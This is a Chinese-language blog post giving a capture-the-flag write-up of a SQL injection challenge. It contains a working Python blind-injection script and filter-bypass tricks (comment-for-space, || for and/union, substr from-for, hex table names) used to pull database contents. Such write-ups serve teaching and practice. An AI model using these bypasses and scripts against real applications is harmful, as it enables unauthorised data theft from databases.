ctf_show Web的Web8题解

好久没写博客,上次写还是在上次(三年前)。

如题,写一次CTF的题解

 根据题目提示得知这应该是一个注入,什么注入还不知道,进入靶场。

 

仅有三个地方可点,都点进去看看。

从URL处可以看到前端是传了一个参数id给后端(另外两个类似,就不贴图了)。

那很明显了是SQL注入。

 

首先在参数后面打个'(单引号)。

 

报错。后面又试了好多例如union,and,逗号等。

经过一次次测试,总结了如下的过滤列表。

 

空格
and
逗号
单引号
union

 

空格可以内联注释来绕过,即 /**/。

and就可以使用or,或者 || ,或者 &&。

逗号就没有太好的想法了。

像是单引号被过滤的话,在字符型注入中基本是没戏了,还在这次的是数字型的注入。

而union就可以用 || 或者&&。

通过前面的测试绕过字符时,参数中存在被过滤了的字符,返回界面是这样的

 成功又是这样

 

即失败都是出错,成功都是返回三个文档内容。

那么我们可以使用盲注,判断依据是返回结果有没有“If”这个单词,当然其他的字符也可以,只要不在失败的页面中即可。

这里使用Python来编写脚本。

import requests

url = "http://24a4a2ef-71d3-4002-accb-7cd74afe184e.challenge.ctf.show/index.php?id=-1"
flag = ""

for num in range(1,60):
    l = 33
    r = 130
    mid = (l+r)>>1
    while l<r:
        # 数据库:web8
        # sql = "ascii(substr((select/**/database())/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
        # 表:flag,page,user
        # sql = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
        # 列:flag
        # sql = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167)/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
        # ctfshow{b54332e2-57d2-47c4-933a-d455e9b7e950}
        sql = "ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/{}/**/for/**/1))>{}".format(num,mid)


        payload = url + "/**/||/**/" + sql

        # print(payload)

        res = requests.get(payload)
        
        if 'If' in res.text:
            l = mid + 1
        else:
            r = mid
        mid = (l+r)>>1
    if chr(mid)==" ":
        break
    flag += chr(mid)
    print(flag)

 

简单讲一下代码,使用二分法查找字符。

ascii()#字符转ascii
substr(string,0,1)#截取string的第1个字符开始,偏移1个单位的字符。例如“substr(‘abc’,1,1)”的结果是‘a’,把1改成2,就是‘b’。在Mysql中字符索引从1开始。

因为逗号被过滤了。所以改用下面这个,一样的效果。

 

substr(string from 1 for 1)

 

这里需要注意一下这条语句

select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167

0x666c6167是“flag”的十六进制,因为不能使用单引号,就把它转换成十六进制。

还有需要注意的一点是,但使用 || 来替代 and 或 union 时, 要注意 || 后面语句的执行条件。必须是前面语句执行错误后,在会执行后面的语句,所以在参数处传入的是 -1 。

 

总结,一次简单的SQL盲注,考点是过滤字符的绕过。

posted @ 2023-10-28 19:26  钟佳标  阅读(735)  评论(0编辑  收藏  举报